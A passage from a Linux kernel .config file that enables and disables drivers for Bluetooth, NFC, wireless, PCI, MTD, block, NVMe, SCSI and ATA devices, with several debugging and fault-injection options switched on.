# CONFIG_BAYCOM_SER_HDX is not set
# CONFIG_BAYCOM_PAR is not set
# CONFIG_YAM is not set
# end of AX.25 network device drivers

CONFIG_CAN=y
CONFIG_CAN_RAW=y
CONFIG_CAN_BCM=y
CONFIG_CAN_GW=y
CONFIG_CAN_J1939=y
CONFIG_CAN_ISOTP=y
CONFIG_BT=y
CONFIG_BT_BREDR=y
CONFIG_BT_RFCOMM=y
CONFIG_BT_RFCOMM_TTY=y
CONFIG_BT_BNEP=y
CONFIG_BT_BNEP_MC_FILTER=y
CONFIG_BT_BNEP_PROTO_FILTER=y
CONFIG_BT_HIDP=y
CONFIG_BT_LE=y
CONFIG_BT_LE_L2CAP_ECRED=y
CONFIG_BT_6LOWPAN=y
CONFIG_BT_LEDS=y
CONFIG_BT_MSFTEXT=y
# CONFIG_BT_AOSPEXT is not set
# CONFIG_BT_DEBUGFS is not set
# CONFIG_BT_SELFTEST is not set

#
# Bluetooth device drivers
#
CONFIG_BT_INTEL=y
CONFIG_BT_BCM=y
CONFIG_BT_RTL=y
CONFIG_BT_QCA=y
CONFIG_BT_MTK=y
CONFIG_BT_HCIBTUSB=y
CONFIG_BT_HCIBTUSB_AUTOSUSPEND=y
CONFIG_BT_HCIBTUSB_POLL_SYNC=y
CONFIG_BT_HCIBTUSB_BCM=y
CONFIG_BT_HCIBTUSB_MTK=y
CONFIG_BT_HCIBTUSB_RTL=y
# CONFIG_BT_HCIBTSDIO is not set
CONFIG_BT_HCIUART=y
CONFIG_BT_HCIUART_SERDEV=y
CONFIG_BT_HCIUART_H4=y
# CONFIG_BT_HCIUART_NOKIA is not set
CONFIG_BT_HCIUART_BCSP=y
# CONFIG_BT_HCIUART_ATH3K is not set
CONFIG_BT_HCIUART_LL=y
CONFIG_BT_HCIUART_3WIRE=y
# CONFIG_BT_HCIUART_INTEL is not set
# CONFIG_BT_HCIUART_BCM is not set
# CONFIG_BT_HCIUART_RTL is not set
CONFIG_BT_HCIUART_QCA=y
CONFIG_BT_HCIUART_AG6XX=y
CONFIG_BT_HCIUART_MRVL=y
# CONFIG_BT_HCIUART_AML is not set
CONFIG_BT_HCIBCM203X=y
# CONFIG_BT_HCIBCM4377 is not set
CONFIG_BT_HCIBPA10X=y
CONFIG_BT_HCIBFUSB=y
# CONFIG_BT_HCIDTL1 is not set
# CONFIG_BT_HCIBT3C is not set
# CONFIG_BT_HCIBLUECARD is not set
CONFIG_BT_HCIVHCI=y
CONFIG_BT_MRVL=y
CONFIG_BT_MRVL_SDIO=y
CONFIG_BT_ATH3K=y
CONFIG_BT_MTKSDIO=y
CONFIG_BT_MTKUART=y
# CONFIG_BT_VIRTIO is not set
# CONFIG_BT_NXPUART is not set
# CONFIG_BT_INTEL_PCIE is not set
# end of Bluetooth device drivers

CONFIG_AF_RXRPC=y
CONFIG_AF_RXRPC_IPV6=y
# CONFIG_AF_RXRPC_INJECT_LOSS is not set
# CONFIG_AF_RXRPC_INJECT_RX_DELAY is not set
# CONFIG_AF_RXRPC_DEBUG is not set
CONFIG_RXKAD=y
# CONFIG_RXGK is not set
# CONFIG_RXPERF is not set
CONFIG_AF_KCM=y
CONFIG_STREAM_PARSER=y
CONFIG_MCTP=y
CONFIG_FIB_RULES=y
CONFIG_WIRELESS=y
CONFIG_WEXT_CORE=y
CONFIG_WEXT_PROC=y
CONFIG_CFG80211=y
# CONFIG_NL80211_TESTMODE is not set
# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set
# CONFIG_CFG80211_CERTIFICATION_ONUS is not set
CONFIG_CFG80211_REQUIRE_SIGNED_REGDB=y
CONFIG_CFG80211_USE_KERNEL_REGDB_KEYS=y
CONFIG_CFG80211_DEFAULT_PS=y
CONFIG_CFG80211_DEBUGFS=y
CONFIG_CFG80211_CRDA_SUPPORT=y
CONFIG_CFG80211_WEXT=y
CONFIG_MAC80211=y
CONFIG_MAC80211_HAS_RC=y
CONFIG_MAC80211_RC_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT="minstrel_ht"
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_LEDS=y
CONFIG_MAC80211_DEBUGFS=y
# CONFIG_MAC80211_MESSAGE_TRACING is not set
# CONFIG_MAC80211_DEBUG_MENU is not set
CONFIG_MAC80211_STA_HASH_MAX_SIZE=0
CONFIG_RFKILL=y
CONFIG_RFKILL_LEDS=y
CONFIG_RFKILL_INPUT=y
# CONFIG_RFKILL_GPIO is not set
CONFIG_NET_9P=y
CONFIG_NET_9P_FD=y
CONFIG_NET_9P_VIRTIO=y
# CONFIG_NET_9P_USBG is not set
CONFIG_NET_9P_RDMA=y
# CONFIG_NET_9P_DEBUG is not set
CONFIG_CAIF=y
CONFIG_CAIF_DEBUG=y
CONFIG_CAIF_NETDEV=y
CONFIG_CAIF_USB=y
CONFIG_CEPH_LIB=y
# CONFIG_CEPH_LIB_PRETTYDEBUG is not set
CONFIG_CEPH_LIB_USE_DNS_RESOLVER=y
CONFIG_NFC=y
CONFIG_NFC_DIGITAL=y
CONFIG_NFC_NCI=y
# CONFIG_NFC_NCI_SPI is not set
CONFIG_NFC_NCI_UART=y
CONFIG_NFC_HCI=y
CONFIG_NFC_SHDLC=y

#
# Near Field Communication (NFC) devices
#
# CONFIG_NFC_TRF7970A is not set
# CONFIG_NFC_MEI_PHY is not set
CONFIG_NFC_SIM=y
CONFIG_NFC_PORT100=y
CONFIG_NFC_VIRTUAL_NCI=y
CONFIG_NFC_FDP=y
# CONFIG_NFC_FDP_I2C is not set
# CONFIG_NFC_PN544_I2C is not set
CONFIG_NFC_PN533=y
CONFIG_NFC_PN533_USB=y
# CONFIG_NFC_PN533_I2C is not set
# CONFIG_NFC_PN532_UART is not set
# CONFIG_NFC_MICROREAD_I2C is not set
CONFIG_NFC_MRVL=y
CONFIG_NFC_MRVL_USB=y
# CONFIG_NFC_MRVL_UART is not set
# CONFIG_NFC_MRVL_I2C is not set
# CONFIG_NFC_ST21NFCA_I2C is not set
# CONFIG_NFC_ST_NCI_I2C is not set
# CONFIG_NFC_ST_NCI_SPI is not set
# CONFIG_NFC_NXP_NCI is not set
# CONFIG_NFC_S3FWRN5_I2C is not set
# CONFIG_NFC_S3FWRN82_UART is not set
# CONFIG_NFC_ST95HF is not set
# end of Near Field Communication (NFC) devices

CONFIG_PSAMPLE=y
CONFIG_NET_IFE=y
CONFIG_LWTUNNEL=y
CONFIG_LWTUNNEL_BPF=y
CONFIG_DST_CACHE=y
CONFIG_GRO_CELLS=y
CONFIG_SOCK_VALIDATE_XMIT=y
CONFIG_NET_SELFTESTS=y
CONFIG_NET_SOCK_MSG=y
CONFIG_NET_DEVLINK=y
CONFIG_PAGE_POOL=y
# CONFIG_PAGE_POOL_STATS is not set
CONFIG_FAILOVER=y
CONFIG_ETHTOOL_NETLINK=y

#
# Device Drivers
#
CONFIG_HAVE_PCI=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_PCI=y
CONFIG_PCI_DOMAINS=y
CONFIG_PCIEPORTBUS=y
CONFIG_HOTPLUG_PCI_PCIE=y
CONFIG_PCIEAER=y
# CONFIG_PCIEAER_INJECT is not set
# CONFIG_PCIE_ECRC is not set
CONFIG_PCIEASPM=y
CONFIG_PCIEASPM_DEFAULT=y
# CONFIG_PCIEASPM_POWERSAVE is not set
# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set
# CONFIG_PCIEASPM_PERFORMANCE is not set
CONFIG_PCIE_PME=y
# CONFIG_PCIE_DPC is not set
# CONFIG_PCIE_PTM is not set
CONFIG_PCI_MSI=y
CONFIG_PCI_QUIRKS=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_PF_STUB is not set
CONFIG_PCI_ATS=y
# CONFIG_PCI_TSM is not set
# CONFIG_PCI_DOE is not set
CONFIG_PCI_ECAM=y
CONFIG_PCI_LOCKLESS_CONFIG=y
CONFIG_PCI_IOV=y
# CONFIG_PCI_NPEM is not set
CONFIG_PCI_PRI=y
CONFIG_PCI_PASID=y
# CONFIG_PCIE_TPH is not set
# CONFIG_PCI_P2PDMA is not set
CONFIG_PCI_LABEL=y
# CONFIG_PCI_DYNAMIC_OF_NODES is not set
# CONFIG_PCIE_BUS_TUNE_OFF is not set
CONFIG_PCIE_BUS_DEFAULT=y
# CONFIG_PCIE_BUS_SAFE is not set
# CONFIG_PCIE_BUS_PERFORMANCE is not set
# CONFIG_PCIE_BUS_PEER2PEER is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
CONFIG_HOTPLUG_PCI=y
# CONFIG_HOTPLUG_PCI_ACPI is not set
# CONFIG_HOTPLUG_PCI_CPCI is not set
# CONFIG_HOTPLUG_PCI_OCTEONEP is not set
# CONFIG_HOTPLUG_PCI_SHPC is not set

#
# PCI controller drivers
#
CONFIG_PCI_HOST_COMMON=y
# CONFIG_PCI_FTPCI100 is not set
CONFIG_PCI_HOST_GENERIC=y
# CONFIG_VMD is not set
# CONFIG_PCIE_XILINX is not set

#
# Cadence-based PCIe controllers
#
# CONFIG_PCIE_CADENCE_PLAT_HOST is not set
# CONFIG_PCIE_CADENCE_PLAT_EP is not set
# end of Cadence-based PCIe controllers

#
# DesignWare-based PCIe controllers
#
# CONFIG_PCI_MESON is not set
# CONFIG_PCIE_INTEL_GW is not set
# CONFIG_PCIE_DW_PLAT_HOST is not set
# CONFIG_PCIE_DW_PLAT_EP is not set
# end of DesignWare-based PCIe controllers

#
# Mobiveil-based PCIe controllers
#
# end of Mobiveil-based PCIe controllers

#
# PLDA-based PCIe controllers
#
# CONFIG_PCIE_MICROCHIP_HOST is not set
# end of PLDA-based PCIe controllers
# end of PCI controller drivers

#
# PCI Endpoint
#
CONFIG_PCI_ENDPOINT=y
# CONFIG_PCI_ENDPOINT_CONFIGFS is not set
# CONFIG_PCI_ENDPOINT_MSI_DOORBELL is not set
# CONFIG_PCI_EPF_TEST is not set
# CONFIG_PCI_EPF_NTB is not set
# end of PCI Endpoint

#
# PCI switch controller drivers
#
# CONFIG_PCI_SW_SWITCHTEC is not set
# end of PCI switch controller drivers

# CONFIG_PCI_PWRCTRL_SLOT is not set
# CONFIG_PCI_PWRCTRL_TC9563 is not set
# CONFIG_CXL_BUS is not set
CONFIG_PCCARD=y
CONFIG_PCMCIA=y
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
# CONFIG_PD6729 is not set
# CONFIG_I82092 is not set
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_RAPIDIO is not set
# CONFIG_PC104 is not set

#
# Generic Driver Options
#
CONFIG_AUXILIARY_BUS=y
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
# CONFIG_DEVTMPFS_SAFE is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y

#
# Firmware loader
#
CONFIG_FW_LOADER=y
# CONFIG_FW_LOADER_DEBUG is not set
CONFIG_FW_LOADER_PAGED_BUF=y
CONFIG_FW_LOADER_SYSFS=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y
CONFIG_FW_LOADER_COMPRESS=y
# CONFIG_FW_LOADER_COMPRESS_XZ is not set
# CONFIG_FW_LOADER_COMPRESS_ZSTD is not set
CONFIG_FW_CACHE=y
# CONFIG_FW_UPLOAD is not set
# end of Firmware loader

CONFIG_WANT_DEV_COREDUMP=y
CONFIG_ALLOW_DEV_COREDUMP=y
CONFIG_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
CONFIG_DEBUG_DEVRES=y
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
CONFIG_GENERIC_CPU_DEVICES=y
CONFIG_GENERIC_CPU_AUTOPROBE=y
CONFIG_GENERIC_CPU_VULNERABILITIES=y
CONFIG_REGMAP=y
CONFIG_REGMAP_I2C=y
CONFIG_REGMAP_SPI=y
CONFIG_REGMAP_MMIO=y
CONFIG_REGMAP_IRQ=y
CONFIG_DMA_SHARED_BUFFER=y
# CONFIG_DMA_FENCE_TRACE is not set
# CONFIG_FW_DEVLINK_SYNC_STATE_TIMEOUT is not set
# end of Generic Driver Options

#
# Bus devices
#
# CONFIG_MOXTET is not set
CONFIG_MHI_BUS=y
# CONFIG_MHI_BUS_DEBUG is not set
# CONFIG_MHI_BUS_PCI_GENERIC is not set
# CONFIG_MHI_BUS_EP is not set
# end of Bus devices

CONFIG_CONNECTOR=y
CONFIG_PROC_EVENTS=y

#
# Firmware Drivers
#

#
# ARM System Control and Management Interface Protocol
#
# end of ARM System Control and Management Interface Protocol

# CONFIG_EDD is not set
CONFIG_FIRMWARE_MEMMAP=y
CONFIG_DMIID=y
# CONFIG_DMI_SYSFS is not set
CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y
# CONFIG_ISCSI_IBFT is not set
# CONFIG_FW_CFG_SYSFS is not set
CONFIG_SYSFB=y
# CONFIG_SYSFB_SIMPLEFB is not set
CONFIG_GOOGLE_FIRMWARE=y
# CONFIG_GOOGLE_SMI is not set
# CONFIG_GOOGLE_CBMEM is not set
CONFIG_GOOGLE_COREBOOT_TABLE=y
CONFIG_GOOGLE_MEMCONSOLE=y
# CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY is not set
# CONFIG_GOOGLE_FRAMEBUFFER_COREBOOT is not set
CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y
CONFIG_GOOGLE_VPD=y

#
# Qualcomm firmware drivers
#
# end of Qualcomm firmware drivers

#
# Tegra firmware driver
#
# end of Tegra firmware driver
# end of Firmware Drivers

# CONFIG_FWCTL is not set
CONFIG_GNSS=y
# CONFIG_GNSS_MTK_SERIAL is not set
# CONFIG_GNSS_SIRF_SERIAL is not set
# CONFIG_GNSS_UBX_SERIAL is not set
CONFIG_GNSS_USB=y
CONFIG_MTD=y
# CONFIG_MTD_TESTS is not set

#
# Partition parsers
#
# CONFIG_MTD_CMDLINE_PARTS is not set
# CONFIG_MTD_OF_PARTS is not set
# CONFIG_MTD_REDBOOT_PARTS is not set
# end of Partition parsers

#
# User Modules And Translation Layers
#
CONFIG_MTD_BLKDEVS=y
CONFIG_MTD_BLOCK=y

#
# Note that in some cases UBI block is preferred. See MTD_UBI_BLOCK.
#
CONFIG_FTL=y
# CONFIG_NFTL is not set
# CONFIG_INFTL is not set
# CONFIG_RFD_FTL is not set
# CONFIG_SSFDC is not set
# CONFIG_SM_FTL is not set
# CONFIG_MTD_OOPS is not set
# CONFIG_MTD_SWAP is not set
# CONFIG_MTD_PARTITIONED_MASTER is not set

#
# RAM/ROM/Flash chip drivers
#
# CONFIG_MTD_CFI is not set
# CONFIG_MTD_JEDECPROBE is not set
CONFIG_MTD_MAP_BANK_WIDTH_1=y
CONFIG_MTD_MAP_BANK_WIDTH_2=y
CONFIG_MTD_MAP_BANK_WIDTH_4=y
CONFIG_MTD_CFI_I1=y
CONFIG_MTD_CFI_I2=y
# CONFIG_MTD_RAM is not set
# CONFIG_MTD_ROM is not set
# CONFIG_MTD_ABSENT is not set
# end of RAM/ROM/Flash chip drivers

#
# Mapping drivers for chip access
#
# CONFIG_MTD_COMPLEX_MAPPINGS is not set
# CONFIG_MTD_PLATRAM is not set
# end of Mapping drivers for chip access

#
# Self-contained MTD device drivers
#
# CONFIG_MTD_PMC551 is not set
# CONFIG_MTD_DATAFLASH is not set
# CONFIG_MTD_MCHP23K256 is not set
# CONFIG_MTD_MCHP48L640 is not set
# CONFIG_MTD_SST25L is not set
CONFIG_MTD_SLRAM=y
CONFIG_MTD_PHRAM=y
CONFIG_MTD_MTDRAM=y
CONFIG_MTDRAM_TOTAL_SIZE=128
CONFIG_MTDRAM_ERASE_SIZE=4
CONFIG_MTD_BLOCK2MTD=y
# CONFIG_MTD_INTEL_DG is not set

#
# Disk-On-Chip Device Drivers
#
# CONFIG_MTD_DOCG3 is not set
# end of Self-contained MTD device drivers

#
# NAND
#
# CONFIG_MTD_ONENAND is not set
# CONFIG_MTD_RAW_NAND is not set
# CONFIG_MTD_SPI_NAND is not set

#
# ECC engine support
#
# CONFIG_MTD_NAND_ECC_SW_HAMMING is not set
# CONFIG_MTD_NAND_ECC_SW_BCH is not set
# CONFIG_MTD_NAND_ECC_MXIC is not set
# end of ECC engine support
# end of NAND

#
# LPDDR & LPDDR2 PCM memory drivers
#
# CONFIG_MTD_LPDDR is not set
# end of LPDDR & LPDDR2 PCM memory drivers

# CONFIG_MTD_SPI_NOR is not set
CONFIG_MTD_UBI=y
CONFIG_MTD_UBI_WL_THRESHOLD=4096
CONFIG_MTD_UBI_BEB_LIMIT=20
# CONFIG_MTD_UBI_FASTMAP is not set
# CONFIG_MTD_UBI_GLUEBI is not set
# CONFIG_MTD_UBI_BLOCK is not set
# CONFIG_MTD_UBI_FAULT_INJECTION is not set
# CONFIG_MTD_UBI_NVMEM is not set
# CONFIG_MTD_HYPERBUS is not set
CONFIG_DTC=y
CONFIG_OF=y
# CONFIG_OF_UNITTEST is not set
CONFIG_OF_FLATTREE=y
CONFIG_OF_EARLY_FLATTREE=y
CONFIG_OF_KOBJ=y
CONFIG_OF_ADDRESS=y
CONFIG_OF_IRQ=y
CONFIG_OF_RESERVED_MEM=y
# CONFIG_OF_OVERLAY is not set
CONFIG_OF_NUMA=y
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_PNP=y
CONFIG_PNP_DEBUG_MESSAGES=y

#
# Protocols
#
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_NULL_BLK=y
CONFIG_BLK_DEV_NULL_BLK_FAULT_INJECTION=y
# CONFIG_BLK_DEV_FD is not set
CONFIG_CDROM=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
CONFIG_ZRAM=y
# CONFIG_ZRAM_BACKEND_LZ4 is not set
# CONFIG_ZRAM_BACKEND_LZ4HC is not set
# CONFIG_ZRAM_BACKEND_ZSTD is not set
# CONFIG_ZRAM_BACKEND_DEFLATE is not set
# CONFIG_ZRAM_BACKEND_842 is not set
CONFIG_ZRAM_BACKEND_FORCE_LZO=y
CONFIG_ZRAM_BACKEND_LZO=y
# CONFIG_ZRAM_DEF_COMP_LZORLE is not set
CONFIG_ZRAM_DEF_COMP_LZO=y
CONFIG_ZRAM_DEF_COMP="lzo"
# CONFIG_ZRAM_WRITEBACK is not set
# CONFIG_ZRAM_TRACK_ENTRY_ACTIME is not set
# CONFIG_ZRAM_MEMORY_TRACKING is not set
# CONFIG_ZRAM_MULTI_COMP is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=16
# CONFIG_BLK_DEV_DRBD is not set
CONFIG_BLK_DEV_NBD=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_ATA_OVER_ETH=y
CONFIG_VIRTIO_BLK=y
# CONFIG_BLK_DEV_RBD is not set
# CONFIG_BLK_DEV_UBLK is not set
CONFIG_BLK_DEV_RNBD=y
CONFIG_BLK_DEV_RNBD_CLIENT=y
# CONFIG_BLK_DEV_ZONED_LOOP is not set

#
# NVME Support
#
CONFIG_NVME_CORE=y
CONFIG_BLK_DEV_NVME=y
CONFIG_NVME_MULTIPATH=y
# CONFIG_NVME_VERBOSE_ERRORS is not set
# CONFIG_NVME_HWMON is not set
CONFIG_NVME_FABRICS=y
CONFIG_NVME_RDMA=y
CONFIG_NVME_FC=y
CONFIG_NVME_TCP=y
# CONFIG_NVME_TCP_TLS is not set
# CONFIG_NVME_HOST_AUTH is not set
CONFIG_NVME_TARGET=y
# CONFIG_NVME_TARGET_DEBUGFS is not set
# CONFIG_NVME_TARGET_PASSTHRU is not set
CONFIG_NVME_TARGET_LOOP=y
CONFIG_NVME_TARGET_RDMA=y
CONFIG_NVME_TARGET_FC=y
CONFIG_NVME_TARGET_FCLOOP=y
CONFIG_NVME_TARGET_TCP=y
# CONFIG_NVME_TARGET_TCP_TLS is not set
# CONFIG_NVME_TARGET_AUTH is not set
# CONFIG_NVME_TARGET_PCI_EPF is not set
# end of NVME Support

#
# Misc devices
#
# CONFIG_AD525X_DPOT is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_IBM_ASM is not set
# CONFIG_PHANTOM is not set
# CONFIG_RPMB is not set
# CONFIG_TI_FPC202 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_SENSORS_APDS990X is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_VMWARE_BALLOON is not set
# CONFIG_LATTICE_ECP3_CONFIG is not set
# CONFIG_SRAM is not set
# CONFIG_DW_XDATA_PCIE is not set
# CONFIG_PCI_ENDPOINT_TEST is not set
# CONFIG_XILINX_SDFEC is not set
CONFIG_MISC_RTSX=y
# CONFIG_HISI_HIKEY_USB is not set
# CONFIG_OPEN_DICE is not set
# CONFIG_NTSYNC is not set
# CONFIG_VCPU_STALL_DETECTOR is not set
# CONFIG_NSM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_AT25 is not set
# CONFIG_EEPROM_MAX6875 is not set
CONFIG_EEPROM_93CX6=y
# CONFIG_EEPROM_93XX46 is not set
# CONFIG_EEPROM_IDT_89HPESX is not set
# CONFIG_EEPROM_EE1004 is not set
# CONFIG_EEPROM_M24LR is not set
# end of EEPROM support

# CONFIG_CB710_CORE is not set
# CONFIG_SENSORS_LIS3_I2C is not set
# CONFIG_ALTERA_STAPL is not set
CONFIG_INTEL_MEI=y
CONFIG_INTEL_MEI_ME=y
# CONFIG_INTEL_MEI_TXE is not set
# CONFIG_INTEL_MEI_GSC is not set
# CONFIG_INTEL_MEI_VSC_HW is not set
# CONFIG_INTEL_MEI_HDCP is not set
# CONFIG_INTEL_MEI_PXP is not set
# CONFIG_INTEL_MEI_GSC_PROXY is not set
CONFIG_VMWARE_VMCI=y
# CONFIG_GENWQE is not set
# CONFIG_BCM_VK is not set
# CONFIG_MISC_ALCOR_PCI is not set
# CONFIG_MISC_RTSX_PCI is not set
CONFIG_MISC_RTSX_USB=y
# CONFIG_UACCE is not set
# CONFIG_PVPANIC is not set
# CONFIG_GP_PCI1XXXX is not set
# CONFIG_KEBA_CP500 is not set
# CONFIG_MISC_RP1 is not set
# end of Misc devices

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
CONFIG_RAID_ATTRS=y
CONFIG_SCSI_COMMON=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
CONFIG_CHR_DEV_SG=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
CONFIG_SCSI_FC_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=y
CONFIG_SCSI_SAS_ATTRS=y
CONFIG_SCSI_SAS_LIBSAS=y
CONFIG_SCSI_SAS_ATA=y
# CONFIG_SCSI_SAS_HOST_SMP is not set
CONFIG_SCSI_SRP_ATTRS=y
# end of SCSI Transports

CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
CONFIG_SCSI_HPSA=y
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPI3MR is not set
# CONFIG_SCSI_SMARTPQI is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_MYRB is not set
# CONFIG_SCSI_MYRS is not set
# CONFIG_VMWARE_PVSCSI is not set
# CONFIG_LIBFC is not set
# CONFIG_SCSI_SNIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FDOMAIN_PCI is not set
# CONFIG_SCSI_ISCI is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_EFCT is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_BFA_FC is not set
CONFIG_SCSI_VIRTIO=y
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
# CONFIG_SCSI_DH is not set
# end of SCSI device support

CONFIG_ATA=y
CONFIG_SATA_HOST=y
CONFIG_PATA_TIMINGS=y
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_ATA_FORCE=y
CONFIG_ATA_ACPI=y
# CONFIG_SATA_ZPODD is not set
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
CONFIG_SATA_AHCI=y
CONFIG_SATA_MOBILE_LPM_POLICY=3
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_AHCI_DWC is not set
# CONFIG_AHCI_CEVA is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
CONFIG_ATA_PIIX=y
# CONFIG_SATA_DWC is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
CONFIG_PATA_AMD=y
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
CONFIG_PATA_OLDPIIX=y
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
CONFIG_PATA_SCH=y
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
